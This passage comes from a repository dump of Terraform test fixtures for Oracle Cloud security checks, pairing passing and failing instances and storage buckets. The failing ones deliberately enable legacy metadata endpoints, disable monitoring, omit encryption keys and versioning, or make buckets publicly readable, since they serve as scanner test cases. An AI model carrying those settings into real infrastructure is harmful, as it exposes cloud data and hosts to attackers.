boot_volume_type                    = var.instance_launch_options_boot_volume_type\n    firmware                            = var.instance_launch_options_firmware\n    is_consistent_volume_naming_enabled = var.instance_launch_options_is_consistent_volume_naming_enabled\n    network_type                        = var.instance_launch_options_network_type\n    remote_data_volume_type             = var.instance_launch_options_remote_data_volume_type\n  }\n\n  metadata = var.instance_metadata\n\n  platform_config {\n    type                               = var.instance_platform_config_type\n    is_measured_boot_enabled           = var.instance_platform_config_is_measured_boot_enabled\n    is_secure_boot_enabled             = var.instance_platform_config_is_secure_boot_enabled\n    is_trusted_platform_module_enabled = var.instance_platform_config_is_trusted_platform_module_enabled\n    numa_nodes_per_socket              = var.instance_platform_config_numa_nodes_per_socket\n  }\n\n  preemptible_instance_config {\n    preemption_action {\n      type                 = var.instance_preemptible_instance_config_preemption_action_type\n      preserve_boot_volume = var.instance_preemptible_instance_config_preemption_action_preserve_boot_volume\n    }\n  }\n\n  shape_config {\n    baseline_ocpu_utilization = var.instance_shape_config_baseline_ocpu_utilization\n    memory_in_gbs             = var.instance_shape_config_memory_in_gbs\n    ocpus                     = var.instance_shape_config_ocpus\n  }\n\n  source_details {\n    source_id               = oci_core_image.test_image.id\n    source_type             = \"image\"\n    boot_volume_size_in_gbs = var.instance_source_details_boot_volume_size_in_gbs\n    kms_key_id              = oci_kms_key.test_key.id\n  }\n\n  preserve_boot_volume = false\n}\n\nresource \"oci_core_instance\" \"pass\" {\n  availability_domain = var.instance_availability_domain\n  compartment_id      = var.compartment_id\n  shape               = var.instance_shape\n\n  agent_config {\n    are_all_plugins_disabled = var.instance_agent_config_are_all_plugins_disabled\n    is_management_disabled   = var.instance_agent_config_is_management_disabled\n    is_monitoring_disabled   = var.instance_agent_config_is_monitoring_disabled\n\n    plugins_config {\n      #Required\n      desired_state = var.instance_agent_config_plugins_config_desired_state\n      name          = var.instance_agent_config_plugins_config_name\n    }\n  }\n  availability_config {\n    is_live_migration_preferred = var.instance_availability_config_is_live_migration_preferred\n    recovery_action             = var.instance_availability_config_recovery_action\n  }\n\n  create_vnic_details {\n    assign_private_dns_record = var.instance_create_vnic_details_assign_private_dns_record\n    assign_public_ip          = var.instance_create_vnic_details_assign_public_ip\n    defined_tags              = { \"Operations.CostCenter\" = \"42\" }\n    display_name              = var.instance_create_vnic_details_display_name\n    freeform_tags             = { \"Department\" = \"Finance\" }\n    hostname_label            = var.instance_create_vnic_details_hostname_label\n    nsg_ids                   = var.instance_create_vnic_details_nsg_ids\n    private_ip                = var.instance_create_vnic_details_private_ip\n    skip_source_dest_check    = var.instance_create_vnic_details_skip_source_dest_check\n    subnet_id                 = oci_core_subnet.test_subnet.id\n    vlan_id                   = oci_core_vlan.test_vlan.id\n  }\n  dedicated_vm_host_id = oci_core_dedicated_vm_host.test_dedicated_vm_host.id\n  defined_tags         = { \"Operations.CostCenter\" = \"42\" }\n  display_name         = var.instance_display_name\n  extended_metadata = {\n    some_string   = \"stringA\"\n    nested_object = \"{\\\"some_string\\\": \\\"stringB\\\", \\\"object\\\": {\\\"some_string\\\": \\\"stringC\\\"}}\"\n  }\n  fault_domain  = var.instance_fault_domain\n  freeform_tags = { \"Department\" = \"Finance\" }\n  instance_options {\n    are_legacy_imds_endpoints_disabled = var.instance_instance_options_are_legacy_imds_endpoints_disabled\n  }\n  ipxe_script                         = var.instance_ipxe_script\n  is_pv_encryption_in_transit_enabled = var.instance_is_pv_encryption_in_transit_enabled\n\n  launch_options {\n    boot_volume_type                    = var.instance_launch_options_boot_volume_type\n    firmware                            = var.instance_launch_options_firmware\n    is_consistent_volume_naming_enabled = var.instance_launch_options_is_consistent_volume_naming_enabled\n    is_pv_encryption_in_transit_enabled = true\n    network_type                        = var.instance_launch_options_network_type\n    remote_data_volume_type             = var.instance_launch_options_remote_data_volume_type\n  }\n\n  metadata = var.instance_metadata\n  platform_config {\n    type                               = var.instance_platform_config_type\n    is_measured_boot_enabled           = var.instance_platform_config_is_measured_boot_enabled\n    is_secure_boot_enabled             = var.instance_platform_config_is_secure_boot_enabled\n    is_trusted_platform_module_enabled = var.instance_platform_config_is_trusted_platform_module_enabled\n    numa_nodes_per_socket              = var.instance_platform_config_numa_nodes_per_socket\n  }\n\n  preemptible_instance_config {\n    preemption_action {\n      type                 = var.instance_preemptible_instance_config_preemption_action_type\n      preserve_boot_volume = var.instance_preemptible_instance_config_preemption_action_preserve_boot_volume\n    }\n  }\n  shape_config {\n    baseline_ocpu_utilization = var.instance_shape_config_baseline_ocpu_utilization\n    memory_in_gbs             = var.instance_shape_config_memory_in_gbs\n    ocpus                     = var.instance_shape_config_ocpus\n  }\n\n  source_details {\n    source_id               = oci_core_image.test_image.id\n    source_type             = \"image\"\n    boot_volume_size_in_gbs = var.instance_source_details_boot_volume_size_in_gbs\n    kms_key_id              = oci_kms_key.test_key.id\n  }\n  preserve_boot_volume = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_InstanceMetadataServiceEnabled/main.tf",
    "content": "resource \"oci_core_instance\" \"fail\" {\n  availability_domain = var.instance_availability_domain\n  compartment_id      = var.compartment_id\n  shape               = var.instance_shape\n\n  create_vnic_details {\n    assign_private_dns_record = var.instance_create_vnic_details_assign_private_dns_record\n    assign_public_ip          = var.instance_create_vnic_details_assign_public_ip\n    defined_tags              = { \"Operations.CostCenter\" = \"42\" }\n    display_name              = var.instance_create_vnic_details_display_name\n    freeform_tags             = { \"Department\" = \"Finance\" }\n    hostname_label            = var.instance_create_vnic_details_hostname_label\n    nsg_ids                   = var.instance_create_vnic_details_nsg_ids\n    private_ip                = var.instance_create_vnic_details_private_ip\n    skip_source_dest_check    = var.instance_create_vnic_details_skip_source_dest_check\n    subnet_id                 = oci_core_subnet.test_subnet.id\n    vlan_id                   = oci_core_vlan.test_vlan.id\n  }\n\n  dedicated_vm_host_id = oci_core_dedicated_vm_host.test_dedicated_vm_host.id\n  defined_tags         = { \"Operations.CostCenter\" = \"42\" }\n  display_name         = var.instance_display_name\n  extended_metadata = {\n    some_string   = \"stringA\"\n    nested_object = \"{\\\"some_string\\\": \\\"stringB\\\", \\\"object\\\": {\\\"some_string\\\": \\\"stringC\\\"}}\"\n  }\n\n  fault_domain  = var.instance_fault_domain\n  freeform_tags = { \"Department\" = \"Finance\" }\n\n  instance_options {\n    are_legacy_imds_endpoints_disabled = false\n  }\n\n  ipxe_script                         = var.instance_ipxe_script\n  is_pv_encryption_in_transit_enabled = var.instance_is_pv_encryption_in_transit_enabled\n\n  launch_options {\n    boot_volume_type                    = var.instance_launch_options_boot_volume_type\n    firmware                            = var.instance_launch_options_firmware\n    is_consistent_volume_naming_enabled = var.instance_launch_options_is_consistent_volume_naming_enabled\n    network_type                        = var.instance_launch_options_network_type\n    remote_data_volume_type             = var.instance_launch_options_remote_data_volume_type\n  }\n\n  metadata = var.instance_metadata\n\n  platform_config {\n    type                               = var.instance_platform_config_type\n    is_measured_boot_enabled           = var.instance_platform_config_is_measured_boot_enabled\n    is_secure_boot_enabled             = var.instance_platform_config_is_secure_boot_enabled\n    is_trusted_platform_module_enabled = var.instance_platform_config_is_trusted_platform_module_enabled\n    numa_nodes_per_socket              = var.instance_platform_config_numa_nodes_per_socket\n  }\n\n  preemptible_instance_config {\n    preemption_action {\n      type                 = var.instance_preemptible_instance_config_preemption_action_type\n      preserve_boot_volume = var.instance_preemptible_instance_config_preemption_action_preserve_boot_volume\n    }\n  }\n  shape_config {\n    baseline_ocpu_utilization = var.instance_shape_config_baseline_ocpu_utilization\n    memory_in_gbs             = var.instance_shape_config_memory_in_gbs\n    ocpus                     = var.instance_shape_config_ocpus\n  }\n  source_details {\n    source_id               = oci_core_image.test_image.id\n    source_type             = \"image\"\n    boot_volume_size_in_gbs = var.instance_source_details_boot_volume_size_in_gbs\n  }\n  preserve_boot_volume = false\n}\n\nresource \"oci_core_instance\" \"pass\" {\n  availability_domain = var.instance_availability_domain\n  compartment_id      = var.compartment_id\n  shape               = var.instance_shape\n\n  agent_config {\n    is_pv_encryption_in_transit_enabled = True\n    are_all_plugins_disabled            = var.instance_agent_config_are_all_plugins_disabled\n    is_management_disabled              = var.instance_agent_config_is_management_disabled\n    is_monitoring_disabled              = var.instance_agent_config_is_monitoring_disabled\n\n    plugins_config {\n      desired_state = var.instance_agent_config_plugins_config_desired_state\n      name          = var.instance_agent_config_plugins_config_name\n    }\n  }\n\n  availability_config {\n    is_live_migration_preferred = var.instance_availability_config_is_live_migration_preferred\n    recovery_action             = var.instance_availability_config_recovery_action\n  }\n\n  create_vnic_details {\n    assign_private_dns_record = var.instance_create_vnic_details_assign_private_dns_record\n    assign_public_ip          = var.instance_create_vnic_details_assign_public_ip\n    defined_tags              = { \"Operations.CostCenter\" = \"42\" }\n    display_name              = var.instance_create_vnic_details_display_name\n    freeform_tags             = { \"Department\" = \"Finance\" }\n    hostname_label            = var.instance_create_vnic_details_hostname_label\n    nsg_ids                   = var.instance_create_vnic_details_nsg_ids\n    private_ip                = var.instance_create_vnic_details_private_ip\n    skip_source_dest_check    = var.instance_create_vnic_details_skip_source_dest_check\n    subnet_id                 = oci_core_subnet.test_subnet.id\n    vlan_id                   = oci_core_vlan.test_vlan.id\n  }\n\n  dedicated_vm_host_id = oci_core_dedicated_vm_host.test_dedicated_vm_host.id\n  defined_tags         = { \"Operations.CostCenter\" = \"42\" }\n  display_name         = var.instance_display_name\n\n  extended_metadata = {\n    some_string   = \"stringA\"\n    nested_object = \"{\\\"some_string\\\": \\\"stringB\\\", \\\"object\\\": {\\\"some_string\\\": \\\"stringC\\\"}}\"\n  }\n\n  fault_domain  = var.instance_fault_domain\n  freeform_tags = { \"Department\" = \"Finance\" }\n\n  instance_options {\n    are_legacy_imds_endpoints_disabled = true\n  }\n\n  ipxe_script                         = var.instance_ipxe_script\n  is_pv_encryption_in_transit_enabled = var.instance_is_pv_encryption_in_transit_enabled\n\n  launch_options {\n    boot_volume_type                    = var.instance_launch_options_boot_volume_type\n    firmware                            = var.instance_launch_options_firmware\n    is_consistent_volume_naming_enabled = var.instance_launch_options_is_consistent_volume_naming_enabled\n    is_pv_encryption_in_transit_enabled = true\n    network_type                        = var.instance_launch_options_network_type\n    remote_data_volume_type             = var.instance_launch_options_remote_data_volume_type\n  }\n\n  metadata = var.instance_metadata\n  platform_config {\n    type                               = var.instance_platform_config_type\n    is_measured_boot_enabled           = var.instance_platform_config_is_measured_boot_enabled\n    is_secure_boot_enabled             = var.instance_platform_config_is_secure_boot_enabled\n    is_trusted_platform_module_enabled = var.instance_platform_config_is_trusted_platform_module_enabled\n    numa_nodes_per_socket              = var.instance_platform_config_numa_nodes_per_socket\n  }\n\n  preemptible_instance_config {\n    preemption_action {\n      type                 = var.instance_preemptible_instance_config_preemption_action_type\n      preserve_boot_volume = var.instance_preemptible_instance_config_preemption_action_preserve_boot_volume\n    }\n  }\n\n  shape_config {\n    baseline_ocpu_utilization = var.instance_shape_config_baseline_ocpu_utilization\n    memory_in_gbs             = var.instance_shape_config_memory_in_gbs\n    ocpus                     = var.instance_shape_config_ocpus\n  }\n\n  source_details {\n    source_id               = oci_core_image.test_image.id\n    source_type             = \"image\"\n    boot_volume_size_in_gbs = var.instance_source_details_boot_volume_size_in_gbs\n  }\n\n  preserve_boot_volume = false\n}\n\nresource \"oci_core_instance\" \"fail2\" {\n  availability_domain = var.instance_availability_domain\n  compartment_id      = var.compartment_id\n  shape               = var.instance_shape\n\n  agent_config {\n    is_pv_encryption_in_transit_enabled = True\n    are_all_plugins_disabled            = var.instance_agent_config_are_all_plugins_disabled\n    is_management_disabled              = var.instance_agent_config_is_management_disabled\n    is_monitoring_disabled              = var.instance_agent_config_is_monitoring_disabled\n\n    plugins_config {\n      desired_state = var.instance_agent_config_plugins_config_desired_state\n      name          = var.instance_agent_config_plugins_config_name\n    }\n  }\n\n  availability_config {\n    is_live_migration_preferred = var.instance_availability_config_is_live_migration_preferred\n    recovery_action             = var.instance_availability_config_recovery_action\n  }\n\n  create_vnic_details {\n    assign_private_dns_record = var.instance_create_vnic_details_assign_private_dns_record\n    assign_public_ip          = var.instance_create_vnic_details_assign_public_ip\n    defined_tags              = { \"Operations.CostCenter\" = \"42\" }\n    display_name              = var.instance_create_vnic_details_display_name\n    freeform_tags             = { \"Department\" = \"Finance\" }\n    hostname_label            = var.instance_create_vnic_details_hostname_label\n    nsg_ids                   = var.instance_create_vnic_details_nsg_ids\n    private_ip                = var.instance_create_vnic_details_private_ip\n    skip_source_dest_check    = var.instance_create_vnic_details_skip_source_dest_check\n    subnet_id                 = oci_core_subnet.test_subnet.id\n    vlan_id                   = oci_core_vlan.test_vlan.id\n  }\n\n  dedicated_vm_host_id = oci_core_dedicated_vm_host.test_dedicated_vm_host.id\n  defined_tags         = { \"Operations.CostCenter\" = \"42\" }\n  display_name         = var.instance_display_name\n\n  extended_metadata = {\n    some_string   = \"stringA\"\n    nested_object = \"{\\\"some_string\\\": \\\"stringB\\\", \\\"object\\\": {\\\"some_string\\\": \\\"stringC\\\"}}\"\n  }\n\n  fault_domain  = var.instance_fault_domain\n  freeform_tags = { \"Department\" = \"Finance\" }\n\n  ipxe_script                         = var.instance_ipxe_script\n  is_pv_encryption_in_transit_enabled = var.instance_is_pv_encryption_in_transit_enabled\n\n  launch_options {\n    boot_volume_type                    = var.instance_launch_options_boot_volume_type\n    firmware                            = var.instance_launch_options_firmware\n    is_consistent_volume_naming_enabled = var.instance_launch_options_is_consistent_volume_naming_enabled\n    is_pv_encryption_in_transit_enabled = true\n    network_type                        = var.instance_launch_options_network_type\n    remote_data_volume_type             = var.instance_launch_options_remote_data_volume_type\n  }\n\n  metadata = var.instance_metadata\n  platform_config {\n    type                               = var.instance_platform_config_type\n    is_measured_boot_enabled           = var.instance_platform_config_is_measured_boot_enabled\n    is_secure_boot_enabled             = var.instance_platform_config_is_secure_boot_enabled\n    is_trusted_platform_module_enabled = var.instance_platform_config_is_trusted_platform_module_enabled\n    numa_nodes_per_socket              = var.instance_platform_config_numa_nodes_per_socket\n  }\n\n  preemptible_instance_config {\n    preemption_action {\n      type                 = var.instance_preemptible_instance_config_preemption_action_type\n      preserve_boot_volume = var.instance_preemptible_instance_config_preemption_action_preserve_boot_volume\n    }\n  }\n\n  shape_config {\n    baseline_ocpu_utilization = var.instance_shape_config_baseline_ocpu_utilization\n    memory_in_gbs             = var.instance_shape_config_memory_in_gbs\n    ocpus                     = var.instance_shape_config_ocpus\n  }\n\n  source_details {\n    source_id               = oci_core_image.test_image.id\n    source_type             = \"image\"\n    boot_volume_size_in_gbs = var.instance_source_details_boot_volume_size_in_gbs\n  }\n\n  preserve_boot_volume = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_InstanceMonitoringEnabled/main.tf",
    "content": "resource \"oci_core_instance\" \"fail\" {\n  availability_domain = var.instance_availability_domain\n  compartment_id      = var.compartment_id\n  shape               = var.instance_shape\n  agent_config {\n    is_monitoring_disabled = true\n  }\n\n  create_vnic_details {\n    assign_private_dns_record = var.instance_create_vnic_details_assign_private_dns_record\n    assign_public_ip          = var.instance_create_vnic_details_assign_public_ip\n    defined_tags              = { \"Operations.CostCenter\" = \"42\" }\n    display_name              = var.instance_create_vnic_details_display_name\n    freeform_tags             = { \"Department\" = \"Finance\" }\n    hostname_label            = var.instance_create_vnic_details_hostname_label\n    nsg_ids                   = var.instance_create_vnic_details_nsg_ids\n    private_ip                = var.instance_create_vnic_details_private_ip\n    skip_source_dest_check    = var.instance_create_vnic_details_skip_source_dest_check\n    subnet_id                 = oci_core_subnet.test_subnet.id\n    vlan_id                   = oci_core_vlan.test_vlan.id\n  }\n\n  dedicated_vm_host_id = oci_core_dedicated_vm_host.test_dedicated_vm_host.id\n  defined_tags         = { \"Operations.CostCenter\" = \"42\" }\n  display_name         = var.instance_display_name\n  extended_metadata = {\n    some_string   = \"stringA\"\n    nested_object = \"{\\\"some_string\\\": \\\"stringB\\\", \\\"object\\\": {\\\"some_string\\\": \\\"stringC\\\"}}\"\n  }\n\n  fault_domain  = var.instance_fault_domain\n  freeform_tags = { \"Department\" = \"Finance\" }\n\n  instance_options {\n    are_legacy_imds_endpoints_disabled = var.instance_instance_options_are_legacy_imds_endpoints_disabled\n  }\n\n  ipxe_script                         = var.instance_ipxe_script\n  is_pv_encryption_in_transit_enabled = var.instance_is_pv_encryption_in_transit_enabled\n\n  launch_options {\n    boot_volume_type                    = var.instance_launch_options_boot_volume_type\n    firmware                            = var.instance_launch_options_firmware\n    is_consistent_volume_naming_enabled = var.instance_launch_options_is_consistent_volume_naming_enabled\n    network_type                        = var.instance_launch_options_network_type\n    remote_data_volume_type             = var.instance_launch_options_remote_data_volume_type\n  }\n  metadata = var.instance_metadata\n\n  platform_config {\n    type                               = var.instance_platform_config_type\n    is_measured_boot_enabled           = var.instance_platform_config_is_measured_boot_enabled\n    is_secure_boot_enabled             = var.instance_platform_config_is_secure_boot_enabled\n    is_trusted_platform_module_enabled = var.instance_platform_config_is_trusted_platform_module_enabled\n    numa_nodes_per_socket              = var.instance_platform_config_numa_nodes_per_socket\n  }\n\n  preemptible_instance_config {\n    preemption_action {\n      type                 = var.instance_preemptible_instance_config_preemption_action_type\n      preserve_boot_volume = var.instance_preemptible_instance_config_preemption_action_preserve_boot_volume\n    }\n  }\n\n  shape_config {\n    baseline_ocpu_utilization = var.instance_shape_config_baseline_ocpu_utilization\n    memory_in_gbs             = var.instance_shape_config_memory_in_gbs\n    ocpus                     = var.instance_shape_config_ocpus\n  }\n\n  source_details {\n    source_id               = oci_core_image.test_image.id\n    source_type             = \"image\"\n    boot_volume_size_in_gbs = var.instance_source_details_boot_volume_size_in_gbs\n    kms_key_id              = oci_kms_key.test_key.id\n  }\n  preserve_boot_volume = false\n}\n\nresource \"oci_core_instance\" \"pass\" {\n  availability_domain = var.instance_availability_domain\n  compartment_id      = var.compartment_id\n  shape               = var.instance_shape\n\n  agent_config {\n\n    are_all_plugins_disabled = var.instance_agent_config_are_all_plugins_disabled\n    is_management_disabled   = var.instance_agent_config_is_management_disabled\n    is_monitoring_disabled   = false\n    plugins_config {\n      #Required\n      desired_state = var.instance_agent_config_plugins_config_desired_state\n      name          = var.instance_agent_config_plugins_config_name\n    }\n  }\n  availability_config {\n    is_live_migration_preferred = var.instance_availability_config_is_live_migration_preferred\n    recovery_action             = var.instance_availability_config_recovery_action\n  }\n  create_vnic_details {\n    assign_private_dns_record = var.instance_create_vnic_details_assign_private_dns_record\n    assign_public_ip          = var.instance_create_vnic_details_assign_public_ip\n    defined_tags              = { \"Operations.CostCenter\" = \"42\" }\n    display_name              = var.instance_create_vnic_details_display_name\n    freeform_tags             = { \"Department\" = \"Finance\" }\n    hostname_label            = var.instance_create_vnic_details_hostname_label\n    nsg_ids                   = var.instance_create_vnic_details_nsg_ids\n    private_ip                = var.instance_create_vnic_details_private_ip\n    skip_source_dest_check    = var.instance_create_vnic_details_skip_source_dest_check\n    subnet_id                 = oci_core_subnet.test_subnet.id\n    vlan_id                   = oci_core_vlan.test_vlan.id\n  }\n  dedicated_vm_host_id = oci_core_dedicated_vm_host.test_dedicated_vm_host.id\n  defined_tags         = { \"Operations.CostCenter\" = \"42\" }\n  display_name         = var.instance_display_name\n  extended_metadata = {\n    some_string   = \"stringA\"\n    nested_object = \"{\\\"some_string\\\": \\\"stringB\\\", \\\"object\\\": {\\\"some_string\\\": \\\"stringC\\\"}}\"\n  }\n  fault_domain  = var.instance_fault_domain\n  freeform_tags = { \"Department\" = \"Finance\" }\n  instance_options {\n    are_legacy_imds_endpoints_disabled = var.instance_instance_options_are_legacy_imds_endpoints_disabled\n  }\n  ipxe_script                         = var.instance_ipxe_script\n  is_pv_encryption_in_transit_enabled = var.instance_is_pv_encryption_in_transit_enabled\n  launch_options {\n\n    #Optional\n    boot_volume_type                    = var.instance_launch_options_boot_volume_type\n    firmware                            = var.instance_launch_options_firmware\n    is_consistent_volume_naming_enabled = var.instance_launch_options_is_consistent_volume_naming_enabled\n    is_pv_encryption_in_transit_enabled = true\n    network_type                        = var.instance_launch_options_network_type\n    remote_data_volume_type             = var.instance_launch_options_remote_data_volume_type\n  }\n  metadata = var.instance_metadata\n  platform_config {\n    #Required\n    type = var.instance_platform_config_type\n\n    #Optional\n    is_measured_boot_enabled           = var.instance_platform_config_is_measured_boot_enabled\n    is_secure_boot_enabled             = var.instance_platform_config_is_secure_boot_enabled\n    is_trusted_platform_module_enabled = var.instance_platform_config_is_trusted_platform_module_enabled\n    numa_nodes_per_socket              = var.instance_platform_config_numa_nodes_per_socket\n  }\n  preemptible_instance_config {\n    #Required\n    preemption_action {\n      #Required\n      type = var.instance_preemptible_instance_config_preemption_action_type\n\n      #Optional\n      preserve_boot_volume = var.instance_preemptible_instance_config_preemption_action_preserve_boot_volume\n    }\n  }\n  shape_config {\n\n    #Optional\n    baseline_ocpu_utilization = var.instance_shape_config_baseline_ocpu_utilization\n    memory_in_gbs             = var.instance_shape_config_memory_in_gbs\n    ocpus                     = var.instance_shape_config_ocpus\n  }\n  source_details {\n    #Required\n    source_id   = oci_core_image.test_image.id\n    source_type = \"image\"\n\n    #Optional\n    boot_volume_size_in_gbs = var.instance_source_details_boot_volume_size_in_gbs\n    kms_key_id              = oci_kms_key.test_key.id\n  }\n  preserve_boot_volume = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_ObjectStorageEmitEvents/main.tf",
    "content": "resource \"oci_objectstorage_bucket\" \"pass\" {\n  compartment_id = var.compartment_id\n  name           = var.bucket_name\n  namespace      = var.namespace\n\n  access_type           = var.bucket_access_type\n  defined_tags          = var.defined_tags\n  freeform_tags         = var.freeform_tags\n  kms_key_id            = var.oci_kms_key.id\n  metadata              = var.metadata\n  storage_tier          = var.bucket_storage_tier\n  object_events_enabled = true\n\n  retention_rules {\n    display_name = var.retention_rule_display_name\n\n    duration {\n      time_amount = var.retention_rule_duration_time_amount\n      time_unit   = var.retention_rule_duration_time_unit\n    }\n    time_rule_locked = var.retention_rule_time_rule_locked\n  }\n\n  versioning = var.bucket_versioning\n}\n\n\nresource \"oci_objectstorage_bucket\" \"fail\" {\n  compartment_id = var.compartment_id\n  name           = var.bucket_name\n  namespace      = var.namespace\n\n  access_type           = var.bucket_access_type\n  defined_tags          = var.defined_tags\n  freeform_tags         = var.freeform_tags\n  kms_key_id            = var.oci_kms_key.id\n  metadata              = var.metadata\n  storage_tier          = var.bucket_storage_tier\n  object_events_enabled = false\n\n  retention_rules {\n    display_name = var.retention_rule_display_name\n\n    duration {\n      time_amount = var.retention_rule_duration_time_amount\n      time_unit   = var.retention_rule_duration_time_unit\n    }\n    time_rule_locked = var.retention_rule_time_rule_locked\n  }\n\n  versioning = var.bucket_versioning\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_ObjectStorageEncryption/main.tf",
    "content": "resource \"oci_objectstorage_bucket\" \"pass\" {\n  compartment_id = var.compartment_id\n  name           = var.bucket_name\n  namespace      = var.namespace\n\n  access_type           = var.bucket_access_type\n  defined_tags          = var.defined_tags\n  freeform_tags         = var.freeform_tags\n  kms_key_id            = var.oci_kms_key.id\n  metadata              = var.metadata\n  storage_tier          = var.bucket_storage_tier\n  object_events_enabled = true\n\n  retention_rules {\n    display_name = var.retention_rule_display_name\n\n    duration {\n      time_amount = var.retention_rule_duration_time_amount\n      time_unit   = var.retention_rule_duration_time_unit\n    }\n    time_rule_locked = var.retention_rule_time_rule_locked\n  }\n\n  versioning = true\n}\n\n\nresource \"oci_objectstorage_bucket\" \"fail\" {\n  compartment_id = var.compartment_id\n  name           = var.bucket_name\n  namespace      = var.namespace\n\n  access_type           = var.bucket_access_type\n  defined_tags          = var.defined_tags\n  freeform_tags         = var.freeform_tags\n  metadata              = var.metadata\n  storage_tier          = var.bucket_storage_tier\n  object_events_enabled = false\n\n  retention_rules {\n    display_name = var.retention_rule_display_name\n\n    duration {\n      time_amount = var.retention_rule_duration_time_amount\n      time_unit   = var.retention_rule_duration_time_unit\n    }\n    time_rule_locked = var.retention_rule_time_rule_locked\n  }\n\n  versioning = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_ObjectStoragePublic/main.tf",
    "content": "resource \"oci_objectstorage_bucket\" \"pass\" {\n  compartment_id = var.compartment_id\n  name           = var.bucket_name\n  namespace      = var.namespace\n\n  #access_type           = var.bucket_access_type\n  defined_tags          = var.defined_tags\n  freeform_tags         = var.freeform_tags\n  kms_key_id            = var.oci_kms_key.id\n  metadata              = var.metadata\n  storage_tier          = var.bucket_storage_tier\n  object_events_enabled = true\n\n  retention_rules {\n    display_name = var.retention_rule_display_name\n\n    duration {\n      time_amount = var.retention_rule_duration_time_amount\n      time_unit   = var.retention_rule_duration_time_unit\n    }\n    time_rule_locked = var.retention_rule_time_rule_locked\n  }\n\n  versioning = true\n}\n\nresource \"oci_objectstorage_bucket\" \"pass2\" {\n  compartment_id = var.compartment_id\n  name           = var.bucket_name\n  namespace      = var.namespace\n\n  access_type           = \"NoPublicAccess\"\n  defined_tags          = var.defined_tags\n  freeform_tags         = var.freeform_tags\n  kms_key_id            = var.oci_kms_key.id\n  metadata              = var.metadata\n  storage_tier          = var.bucket_storage_tier\n  object_events_enabled = true\n\n  retention_rules {\n    display_name = var.retention_rule_display_name\n\n    duration {\n      time_amount = var.retention_rule_duration_time_amount\n      time_unit   = var.retention_rule_duration_time_unit\n    }\n    time_rule_locked = var.retention_rule_time_rule_locked\n  }\n\n  versioning = true\n}\n\nresource \"oci_objectstorage_bucket\" \"fail\" {\n  compartment_id = var.compartment_id\n  name           = var.bucket_name\n  namespace      = var.namespace\n\n  access_type           = \"ObjectReadWithoutList\"\n  defined_tags          = var.defined_tags\n  freeform_tags         = var.freeform_tags\n  metadata              = var.metadata\n  storage_tier          = var.bucket_storage_tier\n  object_events_enabled = false\n\n  retention_rules {\n    display_name = var.retention_rule_display_name\n\n    duration {\n      time_amount = var.retention_rule_duration_time_amount\n      time_unit   = var.retention_rule_duration_time_unit\n    }\n    time_rule_locked = var.retention_rule_time_rule_locked\n  }\n\n  versioning = false\n}\n\n\nresource \"oci_objectstorage_bucket\" \"fail2\" {\n  compartment_id = var.compartment_id\n  name           = var.bucket_name\n  namespace      = var.namespace\n\n  access_type           = \"ObjectRead\"\n  defined_tags          = var.defined_tags\n  freeform_tags         = var.freeform_tags\n  metadata              = var.metadata\n  storage_tier          = var.bucket_storage_tier\n  object_events_enabled = false\n\n  retention_rules {\n    display_name = var.retention_rule_display_name\n\n    duration {\n      time_amount = var.retention_rule_duration_time_amount\n      time_unit   = var.retention_rule_duration_time_unit\n    }\n    time_rule_locked = var.retention_rule_time_rule_locked\n  }\n\n  versioning = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_ObjectStorageVersioning/main.tf",
    "content": "resource \"oci_objectstorage_bucket\" \"pass\" {\n  compartment_id = var.compartment_id\n  name           = var.bucket_name\n  namespace      = var.namespace\n\n  access_type           = var.bucket_access_type\n  defined_tags          = var.defined_tags\n  freeform_tags         = var.freeform_tags\n  kms_key_id            = var.oci_kms_key.id\n  metadata              = var.metadata\n  storage_tier          = var.bucket_storage_tier\n  object_events_enabled = true\n\n  retention_rules {\n    display_name = var.retention_rule_display_name\n\n    duration {\n      time_amount = var.retention_rule_duration_time_amount\n      time_unit   = var.retention_rule_duration_time_unit\n    }\n    time_rule_locked = var.retention_rule_time_rule_locked\n  }\n\n  versioning = \"Enabled\"\n}\n\n\nresource \"oci_objectstorage_bucket\" \"fail\" {\n  compartment_id = var.compartment_id\n  name           = var.bucket_name\n  namespace      = var.namespace\n\n  access_type           = var.bucket_access_type\n  defined_tags          = var.defined_tags\n  freeform_tags         = var.freeform_tags\n  kms_key_id            = var.oci_kms_key.id\n  metadata              = var.metadata\n  storage_tier          = var.bucket_storage_tier\n  object_events_enabled = false\n\n  retention_rules {\n    display_name = var.retention_rule_display_name\n\n    duration {\n      time_amount = var.retention_rule_duration_time_amount\n      time_unit   = var.retention_rule_duration_time_unit\n    }\n    time_rule_locked = var.retention_rule_time_rule_locked\n  }\n\n  versioning = \"Disabled\"\n}\n\nresource \"oci_objectstorage_bucket\" \"default\" {\n  compartment_id = var.compartment_id\n  name           = var.bucket_name\n  namespace      = var.namespace\n\n  access_type           = var.bucket_access_type\n  defined_tags          = var.defined_tags\n  freeform_tags         = var.freeform_tags\n  kms_key_id            = var.oci_kms_key.id\n  metadata              = var.metadata\n  storage_tier          = var.bucket_storage_tier\n  object_events_enabled = false\n\n  retention_rules {\n    display_name = var.retention_rule_display_name\n\n    duration {\n      time_amount = var.retention_rule_duration_time_amount\n      time_unit   = var.retention_rule_duration_time_unit\n    }\n    time_rule_locked = var.retention_rule_time_rule_locked\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_SecurityGroupUnrestrictedIngress22/main.tf",
